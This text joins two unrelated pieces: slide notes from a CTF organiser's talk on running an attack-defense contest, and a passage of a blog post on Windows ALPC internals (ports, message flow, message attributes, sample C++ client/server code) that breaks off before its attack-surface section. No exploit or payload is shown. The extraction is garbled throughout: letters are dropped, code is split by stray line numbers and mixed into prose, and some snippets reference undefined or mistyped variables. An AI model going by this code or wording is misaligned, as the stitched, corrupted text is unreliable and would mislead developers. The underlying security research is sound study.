starts… Attack-Defense •How is it supposed to work? •How can we attack it? •How can we defend it? Attack-Defense •Get points by capturing flags •Lose points by having flags captured •Lose lots of points by failing checks Attack-Defense Complicated, frustrating, fun! CTF Extremely ambitious CTF •Running Smoothly •Fair Contest •Fun Challenges Running Smoothly Running Smoothly Starts early Running Smoothly Who's on the team? Legitimate Business Syndicate •Half 2005-2007 university team •Half 2012 coworkers Legitimate Business Syndicate in 2006 Legitimate Business Syndicate •August 2012: ddtek steps down •December 2012: Gyno starts recruiting •February 2013: Proposal submitted •March 2013: Proposal accepted Legitimate Business Syndicate •"Reverse engineers" 3/4 of the group •Different specialties •Radio: 2014, badger •Hardware: 2015, the year of single- board computers •Esoteric computing: 2017, cLEMENCy Legitimate Business Syndicate 100% dependent on Selir's amazing infrastructure Legitimate Business Syndicate I started for the database backed web application Team Building People grow and change Team Building Roles grow and change Team Building •Who do you know? •Who do you trust? •Who do you like? Communication “It's good.” Communication async (chat) is great weekly meetings are great Smooth Operation Support your team Smooth Operation CTF software is software Smooth Operation Automate testing and deployment CTF •Running Smoothly •Fair Contest •Fun Challenges Fair Contest Fair Contest CTF is computer hacking Fair Contest CTF is computer system Fair Contest Hack the right thing the wrong way Fair Contest Hack the wrong thing Fair Contest Fix a thing the "wrong" way Fair Contest Restrict players more Qualifiers •Services on separate hosts •Multiple hosts in different locations •Connections get separate container •xinetd and runc •Limit system calls •seccomp Finals More complex game More complex problems Finals •Keep the game about reverse engineering •(Not OS administration) Finals •2013: unprivileged team account, unprivileged service accounts •2014: understood "Superman defense" better Superman Defense •Block opponent IPs •Prevent reading the flag Cyber Grand Challenge US Defense Advanced Research Projects Agency (DARPA) project starting in 2014 Cyber Grand Challenge CTF for autonomous computers Cyber Grand challenge Extremely formalized Challenge Binaries •"CBs" •32-bit i386 •Special CGCEF executable format •Limited system calls •No retained state Proof of Vulnerability •"PoVs" •32-bit i386 CGCEF •Demonstrate a vulnerability: •Register control •Memory disclosure •Run by scoring system Offline Evaluation •Team interface gives out binaries •Team interface collects replacement CBs, PoVs •Runs availability checks and PoVs in isolation •Designed for reproducibility and audibility Finals •2015: restrict system calls •2016: use CGC game format •2017: everything in limited emulator Fair Contest Release scoring information Fair Contest Think about accessibility CTF •Running Smoothly •Fair Contest •Fun Challenges Fun Challenges Break expectations dosfun4u •Discover that it's a DOS binary •Debug and patch IDA Pro •Start actual reverse engineering badger •MSP-430 on physical hardware •custom CDMA radio network Consensus Evaluation •CGC's big attack-defense innovation •Everyone sees everyone else's patched binaries •Explosion in number of binaries that need reversing 1000 cuts / crackme2000 Push teams into automated analysis Hundreds of binaries Consensus Evaluation in 2016 Player asks about losing points Service being attacked, that's why "But we're using the same binariess as the winning team" Consensus Evaluation in 2017 Rubix expected shellcode to work in availability checks Defenders would add checks to block "evil" or allow "good" shellcode Attackers would build new shellcode to pass checks "Felt like a multiplayer game against humans" CTF •Running Smoothly •Fair Contest •Fun Challenges CTF Still more to learn! CTf More work ahead of us CTF Opportunity to grow for more players CTF Best way to learn is to do Five years with the best group of people I've ever worked with Five years building a contest for the friendliest and smartest community I know Thanks for making it amazing! [email protected] @vito_lbs
pdf
 0xcsandker  csandker  RSS Feed //Posts //History of Windows //Archive //Tags & Search //ME  Switch Theme Offensive Windows IPC Internals 3: ALPC 24 May 2022 (Last Updated: 29 5⽉ 2022) >> Introduction >> ALPC Internals >> The Basics >> ALPC Message Flow >> ALPC Messaging Details >> ALPC Message Attributes >> Putting the pieces together: A Sample Application >> Attack Surface >> Identify Targets >> Impersonation and Non-Impersonation >> Unfreed Message Objects >> Conclousion >> Appendix A: The use of connection and communication ports Contents: >> References After talking about two inter-process communication (IPC) protocols that can be uses remotely as well as locally, namely Named Pipes and RPC, with ALPC we’re now looking at a technology that can only be used locally. While RPC stands for Remote Procedure Call, ALPC reads out to Advanced Local Procedure Call, sometimes also referenced as Asynchronous Local Procedure Call. Especially the later reference (asynchronous) is a reference to the days of Windows Vista when ALPC was introduced to replace LPC (Local Procedure Call), which is the predecessor IPC mechanism used until the rise of Windows Vista. A quick word on LPC The local procedure call mechanism was introduced with the original Windows NT kernel in 1993-94 as a synchronous inter-process communication facility. Its synchronous nature meant that clients/servers had to wait for a message to dispatched and acted upon before execution could continue. This was one of the main aws that ALPC was designed to replace and the reason why ALPC is referred to by some as asynchronous LPC. ALPC was brought to light with Windows Vista and at least from Windows 7 onward LPC was completely removed from the NT kernel. To not break legacy applications and allow for backwards compatibility, which Microsoft is (in)famously known for, the function used to create an LPC port was kept, but the function call was redirected to not create an LPC, but an ALPC port. CreatePort API Call in Windows 7 As LPC is effectively gone since Windows 7, this post will only focus on ALPC, so let’s get back to it. But, if you’re - like me - enjoy reading old(er) documentations of how things started out and how things used to for work, here’s an article going in some detail about how LPC used to work in Windows NT 3.5: http://web.archive.org/web/20090220111555/http://www.windowsitlibrary.com/Content/356/08/1.html Back to ALPC ALPC is a fast, very powerful and within the Windows OS (internally) very extensively used inter-process communication facility, but it’s not intended to be Introduction used by developers, because to Microsoft ALPC is an internal IPC facility, which means that ALPC is undocumented and only used as the underlying transportation technology for other, documented and intended-for-developer-usage message transportation protocols, for example RPC. The fact that ALPC is undocumented (by Microsoft), does however not mean that ALPC is a total blackbox as smart folks like Alex Ionescu have reverse engineered how it works and what components it has. But what it does mean is that you shouldn’t rely on any ALPC behavior for any long-term production usage and even more you really shouldn’t use ALPC directly to build software as there are a lot of non-obvious pitfalls that could cause security or stability problems. If you feel like you could hear another voice on ALPC after reading this post, I highly recommend listening to Alex’s ALPC talk from SyScan’14 and especially keep an ear open when Alex talks about what steps are necessary to release a mapped view (and that’s only addressing views) from your ALPC server, which gets you at around minute 33 of the talk. So what I’m saying here is: ALPC is a very interesting target, but not intended for (non- Microsoft) usage in production development. Also you shouldn’t rely on all the information in this post being or continue to be 100% accurate as ALPC is undocumented. Alright let’s get into some ALPC internals to understand how ALPC works, what moving parts are involved in the communications and how the messages look like to nally get an idea of why ALPC might be an interesting target from an offensive security standpoint. To get off from the ground it should be noted that the primary components of ALPC communications are ALPC port objects. An ALPC port object is a kernel object and its use is similar to the use of a network socket, where a server opens a socket that a client can connect to in order to exchange messages. If you re up WinObj from the Sysinternals Suite, you’ll nd that there are many ALPC ports running on every Windows OS, a few can be found under the root path as shown below: ALPC Internals The Basics ALPC Ports under root path … but the majority of ALPCs port are housed under the ‘RPC Control’ path (remember that RPC uses ALPC under the hood): ALPC under \\RPC Control To get started with an ALPC communication, a server opens up an ALPC port that clients can connect to, which is referred to as the ALPC Connection Port, however, that’s not the only ALPC port that is created during an ALPC communication ow (as you’ll see in the next chapter). Another two ALPC ports are created for the client and for the server to pass messages to. So, the rst thing to make a mental note of is: >> There are 3 ALPC ports in total (2 on the server side and 1 on the client side) involved in an ALPC communication. >> The ports you saw in the WinObj screenshot above are ALPC Connection Ports, which are the ones a client can connect to. Although there are 3 ALPC ports used in total in an ALPC communication and they all are referred to by different names (such as “ALPC Connection Ports”), there is only a single ALPC port kernel object, which all three ports, used in an ALPC communication, instantiate. The skeleton of this ALPC kernel object looks like this: _ALPC_PORT kernel structure As it can be seen above the ALPC kernel object is a quite complex kernel object, referencing various other object types. This makes it an interesting research target, but also leaves some good margin for errors and/or missed attack paths. To dig deeper into ALPC we’ll have a look into the ALPC message ow to understand how messages are sent and how these could look like. First of all we’ve already learned that 3 ALPC port objects are involved in an ALPC communication scenario, with the rst one being the ALPC connection port that is created by a server process and that clients can connect to (similar to a network socket). Once a client connects to a server’s ALPC connection port, two new ports are created by the kernel called ALPC server communication port and ALPC client communication port. ALPC Message Flow ALPC Port Object Relationship Once the server and client communication ports are established both parties can send messages to each other using the single function NtAlpcSendWaitReceivePort exposed by ntdll.dll. The name of this function sounds like three things at once - Send, Wait and Receive - and that’s exactly what it is. Server and client use this single function to wait for messages, send messages and receive messages on their ALPC port. This sounds unnecessary complex and I can’t tell you for sure why it was build this way, but here’s my guess on it: Remember that ALPC was created as a fast and internal-only communication facility and the communication channel was build around a single kernel object (the ALPC port). Using this 3-way function allows to do multiple operations, e.g. sending and receiving a message, in a single call and thus saves time and reduces user-kernel-land switches. Additionally, this function acts as a single gate into the message exchange process and therefore allows for easier code change and optimizations (ALPC communication is used in a lot of different OS components ranging from kernel drivers to user GUI applications developed by different internal teams). Lastly ALPC is intended as an internal-only IPC mechanism so Microsoft does not need to design it primarily user or 3rd party developer friendly. Within this single function you also specify what kind of message you want to send (there are different kinds with different implications, we’ll get to that later on) and what other attributes you want to send along with your message (again we’ll get to the things that you can send along with a message later on in chapter ALPC Message Attributes). So far this sounds pretty straight forward: A server opens a port, a client connects to it, both receive a handle to a communication port and send along messages through the single function NtAlpcSendWaitReceivePort … easy. We’ll on a high level it is that easy, but you surely came here for the details and the title of the post said “internals” so let’s buckle up for a closer look: 1. A server process calls NtAlpcCreatePort with a chosen ALPC port name, e.g. ‘CSALPCPort’, and optionally with a SecurityDescriptor to specify who can connect to it. The kernel creates an ALPC port object and returns a handle this object to the server, this port is referred to as the ALPC Connection Port 2. The server calls NtAlpcSendWaitReceivePort, passing in the handle to its previously created connection port, to wait for client connections 3. A client can then call NtAlpcConnectPort with: >> The name of the server’s ALPC port (CSALPCPort) >> (OPTIONALLY) a message for the server (e.g. to send a magic keyword or whatever) >> (OPTIONALLY) the SID of server to ensure the client connects to the intended server >> (OPTIONALLY) message attributes to send along with the client’s connection request (Message attributes will be detailed in chapter ALPC Message Attributes) 4. This connection request is then passed to the server, which calls NtAlpcAcceptConnectPort to accept or reject the client’s connection request. (Yes, although the function is named NtAlpcAccept… this function can also be used to reject client connections. This functions last parameter is a boolean value that species if connection are accepted (if set to true ) or rejected (if set to false ). The server can also: >> (OPTIONALLY) return a message to the client with the acceptance or denial of the connection request and/or… >> (OPTIONALLY) add message attributes to that message and/or .. >> (OPTIONALLY) allocate a custom structure, for example a unique ID, that is attached to the server’s communication port in order to identify the client — If the server accepts the connection request, the server and the client each receive a handle to a communication port — 5. Client and server can now send and receive messages to/from each other via NtAlpcSendWaitReceivePort, where: >> The client listens for and sends new messages to its communication port >> The server listens for and sends new messages to its connection port >> Both the client and the server can specify which message attributes (we’ll get to tht in a bit) they want to receive when listening for new messages … wait a minute… Why is the server sending/receiving data on the connection port instead of its communication port, since it has a dedicated communication port?… This was one of the many things that puzzled me on ALPC and instead of doing all the heavy lifting reversing work to gure that out myself, I cheated and reached out to Alex Ionescu and simply asked the expert. I put the answer in Appendix A at the end of this post, as I don’t want to drive too far away from the message ow at this point… sorry for the cliff hanger … Anyhow, looking back at the message ow from above, we can gure that client and server are using various functions calls to create ALPC ports and then sending and receiving messages through the single function NtAlpcSendWaitReceivePort . While this contains a fair amount of information about the message ow it’s important to always be aware that server and client do not have a direct peer-to- peer connection, but instead route all messages through the kernel, which is responsible for placing messages on message queues, notifying each party of received messages and other things like validating messages and message attributes. To put that in perspective I’ve added some kernel calls into this picture: Server process Client process Connection Port - Port name - Port Attributes - Object Attribute (e.g. SID) handle: hConnectionPort NtAlpcCreatePort Kernel AlpcpCreateConnectionPort NtAlpcSendWaitReceivPort hConnectionPort, msgReceiveBuffer, msgReceiveAttributes NtAlpcSendWaitReceivPort AlpcpReceiveMessage NtAlpcConnectPort handle: hCommunicationPo msgSendBuffer, msgReceiveAttributes NtAlpcConnectPort ... NtAlpcAcceptConnectPort hConnectionPort, msgSendBuffer, msgSendAttributes, boolAcceptOrDeny Communication Port - Port Attributes - Object Attribute (e.g. SID) NtAlpcSendWaitReceivPort hConnectionPort, msgSendBuffer, msgSendAttributes, msgReceiveBuffer, msgReceiveAttributes Communication Port - Port Attributes - Object Attribute (e.g. SID) AlpcpAcceptConnectPort handle: ConnectionPort NtAlpcSendWaitReceivPort hCommunicationPort, msgSendBuffer, msgSendAttributes, msgReceiveBuffer, msgReceiveAttributes AlpcpReceiveMessageAlpcpReceiveMessage AlpcpSendMessage NtAlpcSendWaitReceivPort AlpcpSendMessage ... ALPC Message Flow I have to admit on a rst glance this is diagram is not super intuitive, but I’ll promise things will get clearer on the way, bear with me. To get a more complete picture of what ALPC looks like under the hood, we need to dive a little deeper into the implementation bits of ALPC messages, which I’ll cover in the following section. Okay so rst of all, let’s clarify the structure of an ALPC message. An ALPC message always consist of a, so called, PORT_HEADER or PORT_MESSAGE, followed by the actual message that you want to send, e.g. some text, binary content, or anything else. _PORT_MESSAGE Kernel Structure In plain old C++ we can dene an ALPC message with the following two structs: ALPC Messaging Details 1 2 3 4 typedef struct _ALPC_MESSAGE { PORT_MESSAGE PortHeader; BYTE PortMessage[100]; // using a byte array of size 100 to store my actual message c++ In order to send a message all we have to do is the following: 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 } ALPC_MESSAGE, * PALPC_MESSAGE; typedef struct _PORT_MESSAGE { union { struct { USHORT DataLength; USHORT TotalLength; } s1; ULONG Length; } u1; union { struct { USHORT Type; USHORT DataInfoOffset; } s2; ULONG ZeroInit; } u2; union { CLIENT_ID ClientId; double DoNotUseThisField; }; ULONG MessageId; union { SIZE_T ClientViewSize; ULONG CallbackId; }; } PORT_MESSAGE, * PPORT_MESSAGE; 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 // specify the message struct and fill it with all 0's to get a c lear start ALPC_MESSAGE pmSend, pmReceived; RtlSecureZeroMemory(&pmSend, sizeof(pmSend)); RtlSecureZeroMemory(&pmReceived, sizeof(pmReceived)); // getting a pointer to my payload (message) byte array LPVOID lpPortMessage = pmSend->PortMessage; LPCSTR lpMessage = "Hello World!"; int lMsgLen = strlen(lpMessage); // copying my message into the message byte array memmove(lpPortMessage, messageContent, lMsgLen); // specify the length of the message pMessage->PortHeader.u1.s1.DataLength = lMsgLen; // specify the total length of the ALPC message pMessage->PortHeader.u1.s1.TotalLength = sizeof(PORT_MESSAGE) + l MsgLen; // Send the ALPC message NTSTATUS lSuccess = NtAlpcSendWaitReceivePort( hCommunicationPort, // the client's communication por t handle ALPC_MSGFLG_SYNC_REQUEST, // message flags: synchronous messa ge (send & receive message) (PPORT_MESSAGE)&pmSend, // our ALPC message NULL, // sending message attributes: we do n't need that in the first step (PPORT_MESSAGE)&pmReceived, // ALPC message buffer to receive a message &ulReceivedSize, // SIZE_T ulReceivedSize; Size of the received message c++ This code snippet will send an ALPC message with a body of “Hello World!” to a server that we’ve connect to. We specied the message to be synchronous message with the ALPC_MSGFLG_SYNC_REQUEST ag, which means that this call will wait (block) until a message is received on the client’s communication port. Of course we do not have to wait until a new message comes in, but use the time until then for other tasks (remember ALPC was build to be asynchronous, fast and efcient). To facilitate that ALPC provides three different message types: >> Synchronous request: As mentioned above synchronous messages block until a new message comes in (as a logical result of that one has to specify a receiving ALPC message buffer when calling NtAlpcSendWaitReceivePort with a synchronous messages) >> Asynchronous request: Asynchronous messages send out your message, but not wait for or act on any received messages. >> Datagram requests: Datagram request are like UDP packets, they don’t expect a reply and therefore the kernel does not block on waiting for a received message when sending a datagram request. So basically you can choose to send a message that expects a reply or one that does not and when you chose the former you can furthermore chose to wait until the reply comes in or don’t wait and do something else with your valuable CPU time in the meantime. That leaves you with the question of how to receive a reply in case you chose this last option and not wait (asynchronous request) within the NtAlpcSendWaitReceivePort function call? Once again you have 3 options: >> You could use an ALPC completion list, in which case the kernel does not inform you (as the receiver) that new data has been received, but instead simply copies the data into your process memory. It’s up to you (as the receiver) to get aware of this new data being present. This could for example achieved by using a notication event that is shared between you and the ALPC server¹. Once the server signals the event, you know new data has arrived. ¹Taken from Windows Internals, Part 2, 7th Edition. >> You could use an I/O completion port, which is a documented synchronization facility. >> You can receive a kernel callback to get replies - but that is only allowed if your process lives in kernel land. As you have the option to not receive messages directly it is not unlikely that more than one message comes in and waits for being fetched. To handle multiple messages in different states ALPC uses queues to handle and manage high volumes NULL, // receiving message attributes: we d on't need that in the first step 0 // timeout parameter, we don't want t o timeout ); of messages piling up for a server. There are ve different queues for messages and to distinguish them I’ll quote directly from chapter 8 of Windows Internals, Part 2, 7th Edition (as there is no better way to put this with these few words): >> Main queue: A message has been sent, and the client is processing it. >> Pending queue: A message has been sent and the caller is waiting for a reply, but the reply has not yet been sent. >> Large message queue: A message has been sent, but the caller’s buffer was to small to receive it. The caller gets another chance to allocate a larger buffer and request the message payload again. >> Canceled queue: A message that was sent to the port but has since then been canceled. >> Direct queue: A message that was sent with a direct event attached. At this point I’m not going to dive any deeper into message synchronization options and the different queues - I’ve got to make a cut somewhere - however in case someone is interested in nding bugs in these code areas I can highly recommend a look into chapter 8 of the amazing Windows Internals, Part 2, 7th Edition. I learned a lot from this book and can’t praise it enough! Finally, concerning the messaging details of ALPC, there is a last thing that hasn’t been detailed yet, which is the question of how is a message transported from a client to a server. It has been mentioned what kind of messages can be send, how the structure of a message looks like, what mechanism exist to synchronize and stall messages, but it hasn’t been detailed so far how a message get’s from one process to the other. You’ve got two options for this: >> Double buffer mechanism: In this approach a message buffer is allocated in the sender’s and receiver’s (virtual) memory space and the message is copied from the sender’s (virtual) memory into the kernel’s (virtual) memory and from there into the receiver’s (virtual) memory. It’s called double buffer, because a buffer, containing the message, is allocated and copied twice (sender -> kernel & kernel -> receiver). >> Section object mechanism: Instead of allocating a buffer to store a message, client and server can also allocate a shared memory section, that can be accessed by both parties, map a view of that section - which basically means to reference a specic area of that allocated section - copy the message into the mapped view and nally send this view as a message attribute (discussed in the following chapter) to the receiver. The receiver can extract a pointer to the same view that the sender used through the view message attribute and read the data from this view. The main reason for using the ‘section object mechanism’ is to send large messages, as the length of messages send through the ‘double buffer mechanism’ have a hardcoded size limit of 65535 bytes. An error is thrown if this limit is exceeded in a message buffer. The function AlpcMaxAllowedMessageLength() can be used to get the maximum message buffer size, which might change in future versions of Windows. This ‘double buffer mechanism’ is what was used in the code snippet from above. Looking back a message buffer for the send and the received message has been implicitly allocated via the rst three lines of code: This message buffer has then been passed to the kernel in the call to NtAlpcSendWaitReceivePort , which copies the sending buffer into the receiving buffer on the other side. We could also dig into the kernel to gure out how an ALPC message (send via message buffers) actually looks like. Reversing the NtAlpcSendWaitReceivePort leads us to the kernel function AlpcpReceiveMessage , which eventually calls - for our code path - into AlpcpReadMessageData , where the copying of the buffer happens. Side note: If you’re interested in all the reversing details I left out here check out my follow up post: Debugging and Reversing ALPC At the end of this road you’ll nd a simple RtlCopyMemory call - which is just a macro for memcpy - that copies a bunch of bytes from one memory space into another - it’s not as fancy as one might have expected it, but that’s what it is ¯\(ツ)/ ¯. 1 2 3 ALPC_MESSAGE pmSend, pmReceived; // these are the m essage buffers RtlSecureZeroMemory(&pmSend, sizeof(pmSend)); RtlSecureZeroMemory(&pmReceived, sizeof(pmReceived)); c++ AlpcpReadMessageData decompiled in Ghidra To see that in action I’ve put a breakpoint into the AlpcpReadMessageData function shown above for my ALPC server process. The breakpoint is triggered once my ALPC client connects and sends an initial message to the server. The message that the client sends is the: Hello Server . The annotated debug output is shown below: [Pseudo Signature] memcpy(PointerToDestination, PointerToSource, LengthToCopy) [Translated to calling convention] memcpy(@RCX, ,@RDX,      ,R8) This memcpy call copies the client's message from kernel memory to server memory Visualized double buffer messaging mechanism These debug screens show what an ALPC message send through a message buffer looks like…just bytes in a process memory. Also note that the above screens is a visual representation of the ‘double buffer mechanism’ in it’s 2nd buffer copy stage, where a message is copied from kernel memory space into the receiver’s process memory space. The copy action from sender to kernel space has not been tracked as the breakpoint was only set for the receiver process. Alright, there’s one last piece that needs to be detailed before putting it all together, which is ALPC message attributes. I’ve mentioned message attributes a ALPC Message Attributes few times before, so here is what that means. When sending and receiving messages, via NtAlpcSendWaitReceivePort , client and server can both specify a set of attributes that they would like to send and/or receive. These set of attributes that one wants to send and the set of attributes that one wants to receive are passed to NtAlpcSendWaitReceivePort in two extra parameters, shown below: NtAlpcSendWaitReceivePort function signature The idea here is that as sender you can pass on additional information to a receiver and the receiver on the other end can specify what set of attributes he would like to get, meaning that not necessarily all extra information that was send is also exposed to the receiver. The following message attributes can be send and/or received: >> Security Attribute: The security attribute holds security context information, which for example can be used to impersonate the sender of a message (detailed in the Impersonation section). This information is controlled and validated by the kernel. The structure of this attribute is shown below: >> View Attribute: As described towards the end of the Messaging Details chapter, this attribute can be used to pass over a pointer to a shared memory section, which can be used by the receiving party to read data from this memory section. The structure of this attribute is shown below: >> Context Attribute: The context attribute stores pointers to user-specied context structures that have been assigned to a specic client (communication port) or to a specic message. The context structure can be any arbitrary structure, for example a unique number, and is meant to identify a client. The 1 2 3 4 5 typedef struct _ALPC_SECURITY_ATTR { ULONG Flags; PSECURITY_QUALITY_OF_SERVICE pQOS; HANDLE ContextHandle; } ALPC_SECURITY_ATTR, * PALPC_SECURITY_ATTR; c++ 1 2 3 4 5 6 typedef struct _ALPC_DATA_VIEW_ATTR { ULONG Flags; HANDLE SectionHandle; PVOID ViewBase; SIZE_T ViewSize; } ALPC_DATA_VIEW_ATTR, * PALPC_DATA_VIEW_ATTR; c++ server can extract and reference the port structure to uniquely identify a client that send a message. An example of a port structure I used, can be found here. The kernel will set in the sequence number, message ID and callback ID to enable structured message handling (similar to TCP). This message attribute can always be extracted by the receiver of a message, the sender does not have to specify this and cannot prevent the receiver from accessing this. The structure of this attribute is shown below: >> Handle Attribute: The handle attribute can be used to pass over a handle to a specic object, e.g. to a le. The receiver can use this handle to reference the object, e.g. in a call to ReadFile. The kernel will validate if the passed handle is valid and raise and error otherwise. The structure of this attribute is shown below: >> Token Attribute: The token attribute can be used to pass on limited information about the sender’s token. The structure of this attribute is shown below: >> Direct Attribute: The direct attribute can be used to associate a created event with a message. The receiver can retrieve the event created by the sender and signal it to let the sender know that the send message was received (especially useful for datagram requests). The structure of this attribute is shown below: 1 2 3 4 5 6 7 typedef struct _ALPC_CONTEXT_ATTR { PVOID PortContext; PVOID MessageContext; ULONG Sequence; ULONG MessageId; ULONG CallbackId; } ALPC_CONTEXT_ATTR, * PALPC_CONTEXT_ATTR; c++ 1 2 3 4 5 6 7 typedef struct _ALPC_MESSAGE_HANDLE_INFORMATION { ULONG Index; ULONG Flags; ULONG Handle; ULONG ObjectType; ACCESS_MASK GrantedAccess; } ALPC_MESSAGE_HANDLE_INFORMATION, * PALPC_MESSAGE_HANDLE_INFORMAT ION; c++ 1 2 3 4 5 6 typedef struct _ALPC_TOKEN_ATTR { ULONGLONG TokenId; ULONGLONG AuthenticationId; ULONGLONG ModifiedId; } ALPC_TOKEN_ATTR, * PALPC_TOKEN_ATTR; c++ 1 typedef struct _ALPC_DIRECT_ATTR c++ >> Work-On-Behalf-Of Attribute: This attribute can be used to send the work ticket that is associated with the sender. I haven’t played around with this so I can’t go in any more detail. The structure of this attribute is shown below: The message attributes, how these are initialized and send was another thing that puzzled me when coding a sample ALPC server and client. So you don’t crash with the same problems that I had here are secret I learned about ALPC message attributes: To get started one has to know that the structure for ALPC message attributes is the following: Looking at this I initially thought you call the function AlpcInitializeMessageAttribute give it a reference to the above structure and the ag for the message attribute you want to send (all attributes are referenced by a ag value, here’s the list from my code) and the kernel then sets it all up for you. You then put the referenced structure into NtAlpcSendWaitReceivePort, repeat the process for every message you want to send and be all done. That is not the case and seems to be wrong on multiple levels. Only after I found this twitter post from 2020 and rewatched Alex’s SyScan’14 talk once again (I re- watched this at least 20 times during my research) I came to what I currently believe is the right track. Let me rst spot the errors in my initial believes before bundling the right course of actions: >> AlpcInitializeMessageAttribute doesn’t do shit for you, it really only clears the ValidAttributes ag and sets the AllocatedAttributes ag according to your specied message attributes (so no kernel magic lling in data at all). I’ll have to admit I spotted this early on from reverse engineering the function, but for some time I still hoped it would do some more as the name of the function was so promising. 2 3 4 { HANDLE Event; } ALPC_DIRECT_ATTR, * PALPC_DIRECT_ATTR; 1 2 3 4 typedef struct _ALPC_WORK_ON_BEHALF_ATTR { ULONGLONG Ticket; } ALPC_WORK_ON_BEHALF_ATTR, * PALPC_WORK_ON_BEHALF_ATTR; c++ 1 2 3 4 5 typedef struct _ALPC_MESSAGE_ATTRIBUTES { ULONG AllocatedAttributes; ULONG ValidAttributes; } ALPC_MESSAGE_ATTRIBUTES, * PALPC_MESSAGE_ATTRIBUTES; c++ >> To actually setup a message attribute properly you have to allocate the corresponding message structure and place it in a buffer after the ALPC_MESSAGE_ATTRIBUTES structure. So this is similar to an ALPC_MESSAGE where the actual message needs to be placed in a buffer after the PORT_MESSAGE structure. >> It’s not the kernel that sets the ValidAttributes attribute for your ALPC_MESSAGE_ATTRIBUTES structure, you have to set this yourself. I gured this out by playing around with the structure and for some time I thought this was just a weird workaround, because why would I need to set the ValidAttributes eld? As far as I’m concerned my attributes are always valid and shouldn’t it be the kernel’s task to check if they are valid. I took me another round of Alex’s SyScan’14 talk to understand that.. >> You don’t setup the message attributes for every call to NtAlpcSendWaitReceivePort, you set all the message attributes up once and use the ValidAttributes ag before calling NtAlpcSendWaitReceivePort to specify which of all your set up attributes is valid for this very message you are sending now. To bundle this into useful knowledge, here’s how sending message attributes does work (in my current understanding): >> First of all you have two buffers: A buffer for message attributes you want to receive (in my code named: MsgAttrReceived ) and a buffer for message attributes you want to send (in my code named: MsgAttrSend ). >> For the MsgAttrReceived buffer you just have to allocate a buffer that is large enough to hold the ALPC_MESSAGE_ATTRIBUTES structure plus all the message attributes that you want to receive. After allocating this buffer set the AllocatedAttributes attribute to the corresponding attribute(s) ag(s) value. This AllocatedAttributes value can be changed for every message you receive. For my sample server and client application I just want to always receive all attributes that the kernel could give me, therefore I set the buffer for the receiving attributes once at the beginning of my code as follows: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 pMsgAttrReceived = alloc_message_attribute(ALPC_MESSAGE_ATTRIBUTE _ALL); PALPC_MESSAGE_ATTRIBUTES alloc_message_attribute(ULONG ulAttribut eFlags) { NTSTATUS lSuccess; PALPC_MESSAGE_ATTRIBUTES pAttributeBuffer; LPVOID lpBuffer; SIZE_T lpReqBufSize; SIZE_T ulAllocBufSize; ulAllocBufSize = AlpcGetHeaderSize(ulAttributeFlags); // required size for specified attribues lpBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, ulAllocBufSize); if (GetLastError() != 0) { wprintf(L"[-] Failed to allocate memory for ALPC Message attributes.\n"); c++ [code] >> For the MsgAttrSend buffer two more steps are involved. You have to allocate a buffer that is large enough to hold ALPC_MESSAGE_ATTRIBUTES structure plus all the message attributes that you want to send (just as before). You have to set the AllocatedAttributes attribute (just as before), but then you also have to initialize the message attributes (meaning creating the necessary structures and ll those with valid values) that you want to send and then nally set the ValidAttributes attribute. In my code I wanted to send different attributes in different messages so here’s how I did that: [code] >> There is an additional catch with the sending attribute buffer: You don’t have to allocate or initialize the context attribute or the token attribute. The kernel will always prepare these attributes and the receiver can always request them. >> If you want to send multiple message attributes you will have a buffer that begins with the ALPC_MESSAGE_ATTRIBUTES followed by initialized structures for all the message attributes that you want. So how does the kernel know which attribute structure is which? The answer: 18 19 20 21 22 23 24 25 26 27 28 29 30 return NULL; } pAttributeBuffer = (PALPC_MESSAGE_ATTRIBUTES)lpBuffer; // using this function to properly set the 'AllocatedAttr ibutes' attribute lSuccess = AlpcInitializeMessageAttribute( ulAttributeFlags, // attributes pAttributeBuffer, // pointer to attributes structure ulAllocBufSize, // buffer size &lpReqBufSize ); if (!NT_SUCCESS(lSuccess)) { return NULL; } else { //wprintf(L"Success.\n"); return pAttributeBuffer; } } 1 2 3 4 5 6 7 // Allocate buffer and initialize the specified attributes pMsgAttrSend = setup_sample_message_attributes(hConnectionPort, hS erverSection, ALPC_MESSAGE_SECURITY_ATTRIBUTE | ALPC_MESSAGE_VIEW_ ATTRIBUTE | ALPC_MESSAGE_HANDLE_ATTRIBUTE); // ... // Before sending a message mark certain attributes as valid, in t his case ALPC_MESSAGE_SECURITY_ATTRIBUTE pMsgAttrSend->ValidAttributes |= ALPC_MESSAGE_SECURITY_ATTRIBUTE lSuccess = NtAlpcSendWaitReceivePort(hConnectionPort, ...) //... c++ You have to put the message attributes in a pre-dened order, which could be guessed from the value of their message attribute ags (from highest to lowest) or can also be found in the _KALPC_MESSAGE_ATTRIBUTES kernel structure: _KALPC_MESSAGE_ATTRIBUTES kernel structure >> You might have noticed that the context and token attributes are not tracked in this structure and that is because the kernel will always provide these for any message, and hence does track them message independently. >> Once send, the kernel will validate all the message attributes, ll in values (for example sequence numbers) or clear attributes that are invalid before offering these to the receiver. >> Lastly the kernel will copy the attributes that the receiver specied as AllocatedAttributes into the receiver’s MsgAttrReceived buffer, from where they can be fetched by the receiver. All of the above might, hopefully, also get a little clearer if you go through my code and match these statements against where and how I used message attributes. So far we’ve introduced various components of ALPC to describe how the ALPC messaging system works and what an ALPC message looks like. Let me conclude this chapter by putting a few of these components into perspective. The above description and structure of an ALPC message describe what an ALPC message looks like to sender and receiver, but one should be aware that the kernel is adding a lot more information to this message - in fact it takes the provided parts and places them in a much bigger kernel message structure - as you can see below: _KALPC_MESSAGE kernel structure So the message here is: We’ve made a good understanding, but there is a lot more under the hood that we’ve not touched. I have coded a sample ALPC client and server application as a playground to understand the different ALPC components. Feel free to browse and change the code to get your own feeling for ALPC. A few fair warnings about this code: >> The code is not intended to scale/grow well. The code is intended to be easily readable and guide through the main steps of sending/receiving ALPC messages. >> This code is in absolutely no way even close to being performance, resource, or anything else optimized. It’s for learning. >> I did not bother to take any effort to free buffers, messages or any other resources (which comes with a direct attack path, as described in section Unfreed Message Objects). Although there aren’t to many les to go through, let me point out a few notable lines of code: >> You can nd how I set up sample messages attributes here. >> You can nd a call to NtAlpcSendWaitReceivePort that both sends and receives a message here. >> You can nd ALPC port ags, message attribute ags, message and connection ags here. And then nally here is what it looks like: Sample ALPC Client and Server Applications Before digging into the attack surface of 